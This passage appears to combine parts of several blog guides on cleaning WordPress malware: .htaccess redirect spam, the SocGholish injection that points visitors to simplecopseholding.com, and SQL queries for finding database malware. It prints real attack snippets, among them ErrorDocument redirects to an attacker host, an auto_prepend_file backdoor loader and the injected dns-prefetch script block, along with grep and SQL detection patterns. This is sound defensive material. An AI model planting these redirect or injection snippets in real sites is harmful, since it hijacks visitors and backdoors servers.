ErrorDocument 403 http://attacker-cdn[.]tld/inject/index.php
ErrorDocument 404 http://attacker-cdn[.]tld/inject/index.php
ErrorDocument 500 http://attacker-cdn[.]tld/inject/index.php

This pattern only triggers on broken or non-existent URLs. It’s particularly nasty because the redirect feels organic — visitors typing slightly wrong URLs get sent to malicious pages, and you’d never notice unless you tested 404 routes.

Pattern 4: SEO-spam doorway URL rewriter

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^[a-zA-Z0-9_-]+/([0-9]{1,7})([a-zA-Z0-9]{4})[a-zA-Z0-9_-]$ index.php?smsite=$2&smid=$1 [L]
RewriteBase /
RewriteRule ^index\.php$ - [L]
...

This rule generates thousands of URL-rewritten “pages” that pass crafted query strings to index.php, which a paired PHP backdoor then uses to render spam content. Combined with a sitemap injection, attackers spawn 10,000+ Japanese, casino, or pharma URLs in Google’s index. (See how I cleared 242,000 Japanese spam pages from one site.)

Pattern 5: auto_prepend_file injection

<IfModule mod_php7.c>
php_value auto_prepend_file "/home/user/public_html/wp-content/uploads/.cache.php"
</IfModule>

Less common but I see this regularly on Bluehost and HostGator cleanups. It silently runs a hidden PHP backdoor before every request — including admin pages — without modifying any WordPress core files. Sucuri’s signature catches the php_value directive paired with a non-standard prepend path.

Why Sucuri (and Avast, AVG, Norton) flag your site after this lands

Sucuri SiteCheck is a remote scanner — it requests your URLs the same way Googlebot does and looks for visible symptoms (redirects, injected JS, suspicious response headers). When the htaccess.spam-seo.redirect.006 rule fires for the scanner’s user-agent or referrer, Sucuri logs the destination domain, fingerprints the redirect chain, and flags the site.

From that point, the cascade is automatic:

1. Sucuri’s flag feeds VirusTotal and shared threat feeds.
2. Avast, AVG, Norton, McAfee, and Bitdefender consume those feeds. Within 24–48 hours your domain shows URL:Mal, URL:Blacklist, or URL:Phishing warnings to anyone running their products.
3. Google Search Console eventually adds a “Security issues” notice and can show “This site may be hacked” in SERP.
4. Your hosting provider’s automated scanners (Bluehost, SiteGround, Hostinger) may suspend the account.

The order matters: cleaning the .htaccess stops the bleeding, but it doesn’t get you off the blacklists. You need the cleanup and a delisting submission. I covered the full multi-vendor delisting process in my blacklist diagnosis & delisting playbook.

How to clean htaccess.spam-seo.redirect.006 from WordPress (step by step)

Step 1 — Take a forensic backup before you change anything

Download the entire site (files and database) before touching anything. You’ll need the original infected .htaccess as evidence when you submit blacklist removals. If you delete it and something else breaks during cleanup, you also have a rollback point. UpdraftPlus does this in five minutes.

Step 2 — Replace .htaccess with the default WordPress version

Connect via SFTP or your host’s file manager. Make sure “show hidden files” is enabled — the leading dot hides .htaccess by default. Open the file in the WordPress root and replace the entire contents with this:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Save. Visit your site. The redirect should stop immediately.

If your site uses Multisite, WP Super Cache, or W3 Total Cache, the legitimate .htaccess is longer — pull a clean version from WordPress’s official htaccess docs instead of using the snippet above blindly.

Step 3 — Check every other .htaccess on the server

Attackers rarely stop at the root. They drop additional .htaccess files into:

• /wp-admin/
• /wp-includes/
• /wp-content/ and every subfolder
• /wp-content/uploads/ and year/month subfolders
• /wp-content/plugins/<plugin>/

The clean default is: WordPress only ships one .htaccess in the root. Any others should be inspected. The fastest SSH command to find them all:

find /path/to/your/site -name ".htaccess" -type f

I once cleaned a Bluehost cPanel where the attacker had dropped 1,162 infected .htaccess files across the directory tree — an account-wide lockout pattern. If you have shell access, that find command takes seconds.

Step 4 — Find the backdoor that wrote the malicious .htaccess

This is the step most owners skip, and the reason the infection comes back within hours. The .htaccess didn’t write itself. A PHP file somewhere on the server has the privilege to modify it, and unless you find that file, the malware is back the next time the cron runs.

Common backdoor locations on infected WordPress sites:

• wp-content/uploads/<random>.php — the uploads folder should never contain executable PHP. I’ve seen attackers disguise these as JPGs.
• wp-includes/<random>.php — files mimicking core filenames like wp-tmp.php, wp-cron-helper.php, class-wp-init.php.
• wp-content/plugins/wp-compat/ or similar — fake plugins that look legitimate at a glance.
• mu-plugins/ — must-use plugins that load on every request and don’t appear in the standard plugin list.
• The active theme’s functions.php — search it for base64_decode, eval, gzinflate, str_rot13, or hex-encoded strings.

A fast triage scan via SSH:

grep -rEl "base64_decode|eval\s*\(|gzinflate|str_rot13|preg_replace.*\/e" \
    /path/to/site --include=*.php

Each hit needs manual inspection — not every match is malware, but real backdoors will be among them. For a full walkthrough of decoding obfuscated PHP, see my malware detection guide.

Step 5 — Check the database for matching SEO spam

The .htaccess redirect is half the attack. The other half usually lives in your database — injected posts, spam menu items, or rewritten siteurl options. Run these queries via phpMyAdmin or WP-CLI:

SELECT * FROM wp_options WHERE option_value LIKE '%<script%';
SELECT * FROM wp_posts WHERE post_status = 'publish' 
    AND (post_content LIKE '%viagra%' 
         OR post_content LIKE '%casino%' 
         OR post_title LIKE '%安い%');
SELECT user_login, user_email, user_registered FROM wp_users 
    ORDER BY user_registered DESC LIMIT 20;

I covered hidden admin user discovery in detail in how to find and remove hidden admin users.

Step 6 — Reinstall WordPress core, then update everything

From the WordPress admin, go to Dashboard → Updates and click “Re-install Now” even if you’re already on the latest version. This overwrites every core file with a clean copy without touching your themes, plugins, uploads, or database. After it finishes, update every plugin and theme. Then delete plugins and themes you’re not using — abandoned plugins are the most common reinfection vector.

Step 7 — Rotate every credential

Assume the attacker has your passwords. Reset:

• All WordPress admin and editor accounts
• The hosting control panel (cPanel, Plesk, hPanel)
• SFTP/SSH
• Database user (update wp-config.php with the new credential)
• Email accounts tied to the domain

Then regenerate WordPress’s secret keys at api.wordpress.org/secret-key/1.1/salt/ and paste them into wp-config.php. This logs out every existing session, including the attacker’s.

Verifying the fix

Don’t trust your own browser — caches lie, and many of these redirects only fire for specific user-agents. Run all three of these checks:

1. Sucuri SiteCheck — the same scanner that flagged you. If it now returns “Site is clean,” the htaccess.spam-seo.redirect.006 signature is gone.
2. VirusTotal URL scan — checks 90+ engines including Avast, AVG, Norton, McAfee, ESET, Fortinet. Should return 0/95 after a clean cleanup.
3. Manual mobile test from a different network — open your site on cellular data with a phone you don’t normally use to log in. If a redirect still fires, you missed a backdoor.

If VirusTotal still shows hits 24 hours after Sucuri SiteCheck cleared, the cached fingerprint is the problem, not your site. That’s where blacklist removal submissions come in.

After cleanup: getting un-blacklisted

Once the site is genuinely clean, the antivirus vendors that picked up Sucuri’s flag won’t drop you automatically — most require a manual delisting request:

• Multi-vendor blacklist removal (Avast, AVG, Norton, McAfee, Bitdefender, Kaspersky, ESET in parallel)
• Google Safe Browsing delisting via Search Console
• McAfee SiteAdvisor delisting

Submit them in parallel, not sequentially. Vendors share threat intel — when two or three flip you to “clean,” the rest tend to follow within 24–72 hours.

Why this comes back (and how to make sure it doesn’t)

About 30% of the htaccess.spam-seo.redirect cases I clean are second-time infections. The pattern is always the same: the original cleanup removed the .htaccess rule but missed the backdoor. After three or four reinfections, owners ask why the malware “keeps regenerating.” It isn’t regenerating — it’s being re-written by code they didn’t find. I broke down the real reasons it keeps coming back here.

Long-term prevention checklist:

• Set define('DISALLOW_FILE_EDIT', true); and define('DISALLOW_FILE_MODS', true); in wp-config.php so attackers can’t install plugins through a hijacked admin account.
• Make .htaccess read-only after cleanup: chmod 444 .htaccess (the web server can still read it; PHP can’t write it without an explicit chmod first).
• Block PHP execution in wp-content/uploads/ with a directory-level .htaccess:

  <Files *.php>
  deny from all
  </Files>

• Enable two-factor authentication on every admin account.
• Move off shared hosting with no isolation if you’re on Bluehost/HostGator legacy plans — my full hosting recommendation after 4,500 cleanups is here.

FAQ

Is htaccess.spam-seo.redirect.006 a virus on my computer?

No. It’s a server-side detection. Your computer is not infected. The signature applies only to your website’s .htaccess file on the host. If your antivirus is showing this on your PC, it’s because you visited the site and the antivirus blocked the redirect — not because your machine has the file.

Can I fix this without SSH access?

Yes. Every step in this guide works through SFTP, cPanel File Manager, or hPanel — but it takes longer because you’ll be browsing the file tree manually instead of grepping. The signature search and the backdoor hunt are the bottlenecks without SSH.

Why does Sucuri SiteCheck say my site is clean but my visitors still get redirected?

Three possibilities. First, the redirect is conditional (only fires for mobile, or only with a Google referrer) and SiteCheck didn’t trigger it during scanning. Second, your visitors are seeing a cached HTML response with an injected JavaScript redirect, not an .htaccess redirect — different malware family, different cleanup. Third, the antivirus block is fingerprint-based and lagging — the site is clean but the cached threat record still flags the URL.

Will fixing the .htaccess restore my Google rankings?

Eventually, but not instantly. Google needs to recrawl the affected URLs and remove the spam pages from its index. For a small infection (under 100 spam URLs) recovery takes 2–4 weeks. For massive injections — I’ve seen 50,000 to 3.45 million spam URLs — it can take months even with active URL removal requests through Search Console.

Why was my site infected in the first place?

Almost always one of four entry points: an outdated plugin with a known CVE, a nulled (pirated) theme or plugin with embedded backdoor, a leaked or weak admin password, or a server-level compromise from a neighboring site on shared hosting. My breakdown of what most owners miss walks through the audit.

When to bring in help

If any of these are true, the cleanup is bigger than a single .htaccess edit:

• The infection comes back within 24 hours of cleanup.
• You’ve found 10+ infected files and the count keeps growing.
• Multiple sites on the same hosting account are flagged.
• Your host has suspended the account.
• You’re seeing thousands of spam URLs indexed in Google Search Console.

I’ve handled all of the above. My WordPress malware removal service includes the full forensic cleanup, root-cause identification, blacklist delisting from every vendor flagging the domain, and 30 days of monitoring. Most cleanups finish in 2–6 hours; blacklist removal lands within 24–72 hours of the cleanup completion.

Related deep-dives

• The ultimate guide to removing .htaccess malware from WordPress
• How hackers hide redirects in .htaccess (and remove them fast)
• JavaScript redirect malware: detection, decoding, removal
• Japanese keyword hack: complete detection & removal guide
• Website blacklisted? Full diagnosis & delisting playbook

You open your website, and for a split second, it looks normal. Then the screen flashes, and a visitor on mobile gets redirected to a spam page asking them to “Click Allow to Verify You Are Not a Robot“ — or a fake “Play and Learn” subscription page that charges them daily.

You log in as admin. Everything looks fine. Plugins look clean. Wordfence finds nothing.

The problem isn’t a setting — it’s a sophisticated piece of malware hiding in your theme’s most critical files: header.php, footer.php, or even the core index.php. And it has a name most security plugins won’t tell you: SocGholish.

I’ve cleaned this exact infection from dozens of WordPress sites this quarter. This guide is the field-tested removal process — including the technical fingerprints, the backdoor locations, and the post-cleanup checklist most articles skip.

What Is the simplecopseholding.com Malware? (And Why It’s More Dangerous Than You Think)

simplecopseholding.com isn’t just “a spam domain.” Threat intelligence platforms including ANY.RUN and Joe Sandbox have tagged it with three specific labels: ta569, apt, and socgholish.

Here’s what those tags mean in plain English:

• SocGholish (also called FakeUpdates) is a JavaScript-based malware family that has been active since 2017. It compromises legitimate websites and uses them to deliver fake browser update prompts to visitors.
• TA569 is the threat actor that operates SocGholish as a “Malware-as-a-Service” platform — they sell access to compromised sites to other criminal groups.
• APT means Advanced Persistent Threat — this is not a script-kiddie infection. SocGholish has been linked to Evil Corp, LockBit ransomware, RansomHub, Dridex, and Russia’s GRU Unit 29155.

Translation: when your WordPress site is redirecting visitors to simplecopseholding.com, your site has been silently rented out as initial-access infrastructure for serious criminal operations. Every visitor you send there could be infected with ransomware, credential stealers, or a remote-access trojan.

This is also why the malware is so hard to detect with default scanners — TA569 deliberately rotates domains and uses Traffic Distribution Systems (Parrot TDS, Keitaro TDS) to filter who sees the redirect and who doesn’t.

The Symptoms: How to Confirm You Have It

This malware is engineered to hide from you, the site owner. It uses cookies, User-Agent detection, and referrer checks to behave differently for different visitors:

• You (logged in as admin): See a perfectly normal site.
• Returning visitors on desktop: Often see nothing — the cookie has already “burned” them.
• First-time visitors on mobile (especially from Google): Get redirected to scam domains.
• Google Safe Browsing crawlers: Detect the redirect and flag your site as “Dangerous Site Ahead”.

Known Redirect Destinations (Same Campaign, Different Domains)

Because TA569 rotates domains constantly, you may see any of the following — they’re all the same infection:

Domain	Lure / Payload
simplecopseholding.com	Generic SocGholish C2 / drive-by download
exovandria.shop	“Click Allow” push-notification scam
secretplans.discoveryment.my.id	“Play and Learn” subscription scam
analyticacnodec.com / analytwave.com	Same family, different rotation — see my malware log entry
metricaltic.com / analyticanoden.com	SocGholish variants observed mid-2025

If your site redirects to any of these, the cleanup process below applies.

The Code: What the Injection Actually Looks Like

Unlike the database-injected variant of redirect malware (covered in my JavaScript redirect malware guide), this version writes itself directly into your theme files as what looks like a “harmless font loader.”

Look for this exact block — pulled from a real client cleanup last week:

<script>
(function() {
    var wf = document.createElement('script');
    wf.src = 'https://ajax.googleapis.com/ajax/libs/webfont/1.5.3/webfont.js'; 
    wf.type = 'text/javascript';
    wf.async = 'true';
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(wf, s);
})();
</script>
<link rel='dns-prefetch' href='//simplecopseholding.com' />

Why this design is so effective:

1. The decoy: The legitimate Google Webfont script makes the block look “performance-related” to security scanners and to anyone skimming the file.
2. The payload: The real weapon is the <link rel='dns-prefetch'> tag. It tells the visitor’s browser to silently warm up a DNS connection to the attacker’s server. This is what enables the lightning-fast redirect — by the time the page renders, the browser is already talking to the SocGholish infrastructure.
3. No JavaScript event needed: Most “bad code” detectors look for window.location, eval(), or obfuscated strings. A dns-prefetch tag looks completely benign to them.

---

---

How to Remove the SocGholish Redirect (File-by-File Cleanup)

I’ll walk you through the four locations this malware lives in, in the order I check them on a real cleanup. Before you touch anything: take a full backup (files + database) so you have a rollback point.

1. Check header.php (Where 70% of Infections Live)

This file is loaded on every front-end page, which is why it’s the attacker’s first choice.

• Path: /wp-content/themes/your-active-theme/header.php
• Quick fix: Go to Appearance → Theme File Editor → Theme Header (header.php).
• What to look for: The script block above, usually injected just before the closing </head> tag. Delete the <script> block and the dns-prefetch line.

2. Check functions.php (The “Persisting” Variant)

If you delete the code from header.php and it reappears within minutes — congratulations, you have the persistent variant. The malware has hooked itself into functions.php and rewrites the header on every page load.

• Path: /wp-content/themes/your-active-theme/functions.php
• What to look for: Strange functions with random names like x8s7_load_fonts(), wp_optimize_init(), or theme_perf_loader(), attached to the wp_head hook with add_action().
• Tell-tale sign: If you see the string simplecopseholding, exovandria, or any base64-encoded blob inside that function — delete the entire function and its add_action line.

3. Check footer.php

Hackers know seasoned admins check the header first. So sometimes they hide the same payload right above the closing </body> tag.

• Path: /wp-content/themes/your-active-theme/footer.php
• What to look for: The same dns-prefetch pattern. Delete it.

4. Check the Root index.php (The “Pre-WordPress” Variant)

If the redirect happens even when you switch themes, the infection is sitting outside the theme — in WordPress’s root index.php.

• Path: /index.php (root of your WordPress install — not the one inside /wp-admin/).
• Clean baseline: A genuine WordPress index.php is about 17 lines long. It contains a copyright comment and require __DIR__ . '/wp-blog-header.php';
• Infected version: A giant wall of obfuscated JavaScript or PHP at the top — sometimes 100+ lines of base64-encoded garbage before the legitimate WordPress bootstrap.
• Action: Replace the file with a clean copy from a fresh WordPress download of the same version.

Why the Malware Keeps Coming Back: Hunting the Backdoor

Here’s the part that catches most DIY cleaners off guard: removing the visible malware doesn’t fix anything if the backdoor is still there. SocGholish operators always plant a “regenerator” — a hidden file that re-injects the redirect every few minutes.

I wrote a full breakdown of why WordPress malware keeps coming back, but for this specific campaign the backdoor is almost always one of these:

Common SocGholish Backdoor Locations

• Fake plugin folder: /wp-content/plugins/either-interopable-blob/ — the plugin is hidden from the WP admin UI but visible via FTP. See my list of known malicious plugins.
• Fake DB helper: /wp-content/themes/your-theme/db.php — themes don’t ship with a db.php, so any file with that name is malicious.
• Disguised core file: /wp-includes/css/style.php — there’s no legitimate PHP file in /wp-includes/css/.
• Spoofed admin file: /wp-admin/user-login.php — looks like core, isn’t.
• Mu-plugin loader: /wp-content/mu-plugins/index.php — must-use plugins auto-load on every request, making them a dream backdoor location.

I documented a full backdoor hunt with code samples in “I found a hidden backdoor in a client’s WordPress site”. The pattern is identical here.

Post-Cleanup: The Steps Most Articles Skip

Even after you’ve removed the malware and the backdoor, you’re not done. SocGholish typically gets in via stolen admin credentials or a vulnerable plugin, which means the door is still open. Run through this checklist:

1. Reset every admin password. Force a logout of all sessions via Users → All Users → Edit → “Log out everywhere.”
2. Audit your admin accounts. SocGholish operators often add a stealth admin user. Check wp_users in phpMyAdmin for any account you don’t recognize.
3. Rotate hosting + FTP + database passwords. If the attacker had file write access, assume they grabbed your wp-config.php credentials.
4. Update every plugin, theme, and WordPress core. The initial entry point was almost certainly an unpatched plugin.
5. Scan your .htaccess file. Sometimes a secondary .htaccess redirect rule is left behind. See my .htaccess malware guide.
6. Submit a review request to Google Search Console. Under Security & Manual Actions → Security issues. Reviews typically clear within 72 hours if the malware is truly gone.
7. Check other blacklists. Sucuri SiteCheck, Norton Safe Web, McAfee SiteAdvisor, Quttera. My full blacklist removal walkthrough covers each one.

How SocGholish Got In (And How to Keep It Out)

Across the simplecopseholding.com cleanups I’ve done, the entry point fell into one of three buckets:

• Vulnerable plugin (~60% of cases). Outdated form plugins, page builders, or membership plugins are the top vectors. Patchstack and Wordfence advisories almost always predict the next wave.
• Compromised hosting account (~25%). Especially shared hosting where one infected site spreads laterally to others under the same cPanel.
• Stolen admin credentials (~15%). Phishing emails impersonating WordPress, plus weak passwords without 2FA.

Hardening your site doesn’t have to be expensive. The non-negotiables:

• Two-factor authentication on every admin account.
• Auto-updates enabled for plugins and core.
• A real-time file integrity monitor (Wordfence, MalCare, or my own scanning routine).
• Daily off-site backups — not just on the same server.

I cover the full stack in how to secure a WordPress site.

---

Real Cleanups, Real Clients

“My website was suffering from some redirect malware. MD was able to take care of the problem for a reasonable fee. For me, he was a lifesaver. I will certainly go to him first should something like that happen again.”

— Kendall Miller, Founder ⭐⭐⭐⭐⭐

“I’m very satisfied with MD Pabel’s service. He saved my site from hackers and removed all malware attacks. Highly Recommended ❤️”

— Hassan Infinkey, eCommerce Owner ⭐⭐⭐⭐⭐

If you’d rather skip the file diving and have someone who’s cleaned 4,500+ hacked WordPress sites handle it for you:

---

Frequently Asked Questions

What is simplecopseholding.com?

simplecopseholding.com is a malicious domain operated as part of the SocGholish (FakeUpdates) malware campaign run by threat actor TA569. Compromised WordPress sites silently redirect visitors to this domain, where they are served fake browser update prompts, push-notification scams, or paid subscription traps like “Play and Learn.”

Is simplecopseholding.com a virus?

The domain itself is the delivery infrastructure — not a virus. The danger is what it loads after the redirect: drive-by downloads, credential-stealing JavaScript, and in some campaigns, ransomware loaders for groups like LockBit and RansomHub.

Why does the redirect only happen on mobile?

SocGholish uses User-Agent detection and Traffic Distribution Systems (TDS) to filter visitors. Mobile browsers and first-time visitors arriving from Google search are the highest-value targets, so the malware activates the redirect only for them. Logged-in admins are explicitly excluded so the site owner doesn’t notice. I covered this in my mobile-only redirect case study.

What is the “Play and Learn” redirect?

“Play and Learn” is a mobile subscription scam delivered by SocGholish. The page tries to trick mobile users (often on carrier billing in South and Southeast Asia) into subscribing to a paid daily service — for example, “5.05 BDT Validity 1 Day.” Charges appear on the visitor’s mobile bill, not their credit card, which is what makes it lucrative for the attackers.

Why is my site showing “Dangerous Site Ahead” in Chrome?

Google Safe Browsing detected the redirect to a known malicious domain and flagged your entire site. After cleaning the malware, you have to request a security review in Google Search Console under Security & Manual Actions → Security issues. Reviews typically take 24–72 hours.

Will restoring a backup fix it?

Maybe — but be careful. SocGholish backdoors often sit on a site for weeks before the visible redirect activates. A backup from three days ago likely contains the same backdoor. Restoring it just resets the clock. Cleaning the live files is usually safer.

Can Wordfence remove this malware?

Wordfence’s free signature scanner often misses the SocGholish injection because the visible code (the Google Webfont loader) is legitimate-looking, and the dns-prefetch tag isn’t a flagged pattern. Premium scanners with heuristic engines do better, but a manual review is still required to find the backdoor.

How long does cleanup take?

For an experienced cleaner with file/server access, a single SocGholish infection takes 2–4 hours including the post-cleanup hardening. The Google blacklist review then takes another 24–72 hours. DIY cleanups stretch into days because the backdoor hunt is the hard part.

Can it happen again?

Yes — if you don’t close the entry point. SocGholish operators maintain a list of every site they’ve previously compromised and re-test old vulnerabilities. Patching plugins, rotating credentials, and adding 2FA are mandatory.

---

Still Seeing the Redirect After Cleaning?

If you’ve followed every step above and the redirect still triggers — there’s a backdoor you haven’t found yet. Common hiding spots: encoded inside an uploads/ image, disguised as a favicon, or living inside the wp_options table.

I trace these every week. If you’d rather not, send me your URL and I’ll find the source within hours.

Your scanner says clean. The files look fine. But Google still flags the site, mobile users still get redirected, or your sitemap is suddenly full of pharma URLs you never wrote.

If that’s where you are right now, the malware almost certainly isn’t in the files anymore. It’s in the database.

I’ve cleaned 4,500+ hacked WordPress sites, and database-resident malware is the single biggest reason a “cleaned” site keeps acting hacked. File scanners (Wordfence, MalCare, ImunifyAV, Sucuri, even hosting-level scanners) don’t deeply inspect database rows. They scan filesystems. Once attackers learned that, they stopped putting payloads only in .php files and started parking them in wp_options, wp_posts, wp_postmeta, wp_users, and custom plugin tables.

This is the pillar guide I send clients who think their site is clean but isn’t. It’s the same SQL playbook I run on real cleanups — copy-paste ready, with the named malware variants you’ll actually run into in 2026.

---

Quick Answer: How to Find Database Malware in WordPress

If you want the short version before we go deep:

1. Back up the database first. Export a full .sql via phpMyAdmin or wp db export. Non-negotiable.
2. Check wp_users + wp_usermeta for ghost admins.
3. Check wp_options for autoloaded rows containing <script, eval(, base64_decode, iframe, or unfamiliar domains.
4. Check wp_posts + wp_postmeta for injected scripts, hidden divs (position:absolute; left:-9999px), pharma keywords, <script or Japanese characters.
5. Search the entire DB for known signatures: eval(, base64_decode, gzinflate, str_rot13, fromCharCode, document.write, <iframe, <script src=.
6. Match against named variants: Monit (default_mont_options), wp-vcd, wp-compat (_pre_user_id), hseo, JS redirector.
7. Remove with verified UPDATE/DELETE after testing on a staging copy.
8. Rotate every credential and change WordPress salts. Otherwise it comes back.

The rest of this guide is the deep version: the actual SQL queries, what each one finds, how to safely remove what they catch, and which named malware families those signatures belong to. If you’d rather have me do it for you, my WordPress malware removal service covers manual database cleanup with no false-positive damage.

---

Why File-Only Cleanups Fail (Even Wordfence + Sucuri Miss This)

Most security plugins are built around two ideas: file integrity checking and signature scanning of .php/.js files. Neither idea covers the database.

So when an attacker writes their payload to wp_options instead of wp-content/plugins/evil.php, the scanner shrugs. The site keeps redirecting. Google keeps showing “This site may be hacked.” Your hosting keeps suspending the account. And every “deep scan” comes back clean.

This is exactly the pattern in this case study: Failed Google blacklist review caused by hidden database malware. The files were spotless. The infection was 100% in wp_options.

According to Sucuri’s hacked website report, more than half of all infected websites contain SEO spam, and the majority of that lives as hidden links in the database — not in files. That number lines up with what I see across my cleanups too.

If your site is reinfecting on a loop, this is also worth reading: Why WordPress malware keeps coming back and how to stop it forever.

---

The 5 Categories of WordPress Database Malware

Before we run any queries, you need a mental model. Every database infection I’ve seen falls into one (or more) of these five buckets:

1. Hidden admin users — extra rows in wp_users with admin capabilities in wp_usermeta, sometimes regenerated on every page load by a backdoor file.
2. Malicious redirects — JavaScript or meta-refresh stored in wp_options (autoloaded), header/footer scripts, or page builder header settings.
3. SEO spam injections — Japanese keyword pages, pharma links, casino/gambling content, or bulk-created posts in wp_posts. Often paired with hidden <div>s using position:absolute; left:-9999px CSS to hide spam from human visitors but expose it to Googlebot.
4. Obfuscated payloads — eval(base64_decode(...)), gzinflate, str_rot13, hex-encoded JS, String.fromCharCode chains stored inside option values, postmeta, or even widget settings.
5. Persistence rows — small marker rows like _pre_user_id, default_mont_options, wpcode_snippets (when not legit), or rogue cron entries in wp_options under cron. These are the breadcrumbs that let the malware rebuild itself after you delete files.

Knowing the bucket determines the query. Let’s run the queries.

---

Step 0: Back Up the Database (Don’t Skip This)

Before anything else, dump a full .sql file. There is no “undo” if you run a bad DELETE or a careless search-and-replace.

Via phpMyAdmin: Select the database → Export → Quick → SQL → Go.

Via WP-CLI:

wp db export backup-pre-cleanup-$(date +%F).sql

Via SSH (if WP-CLI isn’t available):

mysqldump -u DB_USER -p DB_NAME > backup-pre-cleanup.sql

Download that file off the server. If you’d rather use a plugin-based safety net first, I covered that here: How to back up your WordPress site with UpdraftPlus.

One more note before we start: most of these queries assume the default wp_ table prefix. If your site uses a custom prefix (good security practice), replace wp_ with whatever yours is. You can confirm in wp-config.php:

$table_prefix = 'wp_';

---

Step 1: Find Hidden Admin Users (wp_users + wp_usermeta)

Backdoor admins are the #1 reinfection vector I see. The username is sometimes obvious (support, admin01, wp-security, adminbackup), sometimes dressed up to look real, and sometimes the account hides through a serialized capabilities trick in wp_usermeta while the wp_users row looks innocent.

Query 1 — List every admin (visible accounts)

SELECT u.ID, u.user_login, u.user_email, u.user_registered, m.meta_value AS capabilities
FROM wp_users u
INNER JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key = 'wp_capabilities'
  AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;

Anything you don’t recognize, especially recent registrations or weird email domains (Gmail aliases, Russian/Chinese TLDs, throwaway addresses), goes on the suspect list.

Query 2 — Find users created in the last 30 days

SELECT ID, user_login, user_email, user_registered
FROM wp_users
WHERE user_registered > DATE_SUB(NOW(), INTERVAL 30 DAY)
ORDER BY user_registered DESC;

Query 3 — Find capability mismatches (the sneaky one)

Sometimes the user shows as “Subscriber” in the admin UI but has a forged wp_capabilities value. This catches that:

SELECT user_id, meta_key, meta_value
FROM wp_usermeta
WHERE meta_key LIKE '%capabilities%'
  AND (meta_value LIKE '%administrator%' OR meta_value LIKE '%level_10%');

If you find regenerating ghost admins (you delete one and it reappears within minutes), the file-side persistence is usually a fake plugin like wp-compat, an mu-plugin dropper, or a snippet stored in a code-snippets plugin. The full forensic process is here: How to find and remove hidden admin users in WordPress.

Removing a confirmed bad admin

Don’t DELETE from wp_users by hand — you’ll orphan rows in wp_usermeta, wp_posts (post_author), and wp_comments. Use WordPress’s own delete flow:

wp user delete USER_ID --reassign=1

That reassigns their content to user ID 1 (your real admin) and cleans the meta properly.

---

Step 2: Hunt Malware in wp_options (the Highest-Value Target)

The wp_options table is the attacker’s favorite parking spot. Here’s why: any row with autoload = 'yes' loads on every single page request, before most plugins boot. That’s a perfect place to plant a redirect script or a payload trigger.

Query 4 — Find suspicious autoloaded rows

SELECT option_id, option_name, LENGTH(option_value) AS value_size, autoload
FROM wp_options
WHERE autoload = 'yes'
  AND (
    option_value LIKE '%<script%'
    OR option_value LIKE '%eval(%'
    OR option_value LIKE '%base64_decode%'
    OR option_value LIKE '%gzinflate%'
    OR option_value LIKE '%str_rot13%'
    OR option_value LIKE '%fromCharCode%'
    OR option_value LIKE '%document.write%'
    OR option_value LIKE '%<iframe%'
  )
ORDER BY value_size DESC;

What you’re looking for: option names that don’t belong to any plugin you actually installed, or option values that are suspiciously large (10KB+ for an option that should hold a setting).

Query 5 — Verify siteurl and home (redirect hijack check)

SELECT option_name, option_value
FROM wp_options
WHERE option_name IN ('siteurl', 'home', 'template', 'stylesheet');

If siteurl or home points to a domain you don’t own, you’ve been hijacked at the URL level. Also check that template and stylesheet match a theme that actually exists in /wp-content/themes/.

Query 6 — Find oversized serialized options (PHP object injection bait)

SELECT option_name, LENGTH(option_value) AS size_bytes
FROM wp_options
WHERE LENGTH(option_value) > 50000
ORDER BY size_bytes DESC
LIMIT 20;

A 200KB option_value is a big red flag. Legit plugins rarely store more than a few KB.

Query 7 — Find rogue cron jobs (database-resident persistence)

SELECT option_value
FROM wp_options
WHERE option_name = 'cron';

The cron option is a serialized PHP array. Open it in a text editor and look for hook names you don’t recognize — especially anything calling wp_remote_get to a domain you’ve never heard of. I’ve covered cron-based persistence here: WordPress cron job malware.

---

Step 3: Find SEO Spam & Script Injections in wp_posts

If your site is showing pharma results in Google, has Japanese pages in your sitemap, or your posts contain links you never wrote, the payload is in wp_posts and sometimes wp_postmeta.

Query 8 — Posts containing scripts or iframes

SELECT ID, post_title, post_status, post_type, post_date
FROM wp_posts
WHERE post_content LIKE '%<script%'
   OR post_content LIKE '%<iframe%'
   OR post_content LIKE '%document.write%'
   OR post_content LIKE '%window.location%';

Query 9 — Posts with hidden CSS spam (the absolute-position trick)

Attackers love hiding spam links inside a wrapper that’s invisible to humans but visible to Googlebot. The classic patterns:

SELECT ID, post_title, post_date
FROM wp_posts
WHERE post_content LIKE '%position:absolute%'
   OR post_content LIKE '%position: absolute%'
   OR post_content LIKE '%left:-9999px%'
   OR post_content LIKE '%left: -9999px%'
   OR post_content LIKE '%left:-110055px%'
   OR post_content LIKE '%display:none%'
   OR post_content LIKE '%visibility:hidden%'
   OR post_content LIKE '%text-indent:-9999%'
   OR post_content LIKE '%font-size:0%'
   OR post_content LIKE '%opacity:0%';

This is the pattern Sucuri documented in their hidden SEO link injection writeup, and it’s still one of the most common spam techniques I clean in 2026. The cleanup playbook for this whole category is here: Hidden links malware: SEO spam detection and cleanup.

Query 10 — Pharma + casino + gambling spam keywords

SELECT ID, post_title, post_status, post_type
FROM wp_posts
WHERE post_content LIKE '%viagra%'
   OR post_content LIKE '%cialis%'
   OR post_content LIKE '%pharmacy%'
   OR post_content LIKE '%casino%'
   OR post_content LIKE '%poker%'
   OR post_content LIKE '%slot%'
   OR post_title  LIKE '%viagra%'
   OR post_title  LIKE '%casino%';

If you find pharma rows, the dedicated cleanup is here: WordPress pharma hack fix.

Query 11 — Japanese keyword hack signature

SELECT ID, post_title, post_status, post_date
FROM wp_posts
WHERE post_title REGEXP '[\\x{3040}-\\x{309F}\\x{30A0}-\\x{30FF}\\x{4E00}-\\x{9FAF}]'
   OR post_content REGEXP '[\\x{3040}-\\x{309F}\\x{30A0}-\\x{30FF}]';

That regex catches Hiragana, Katakana, and CJK characters. Full step-by-step removal here: Japanese keyword hack: detection, removal, prevention, and the hard-mode walkthrough: How to fix the Japanese keyword hack the hard way.

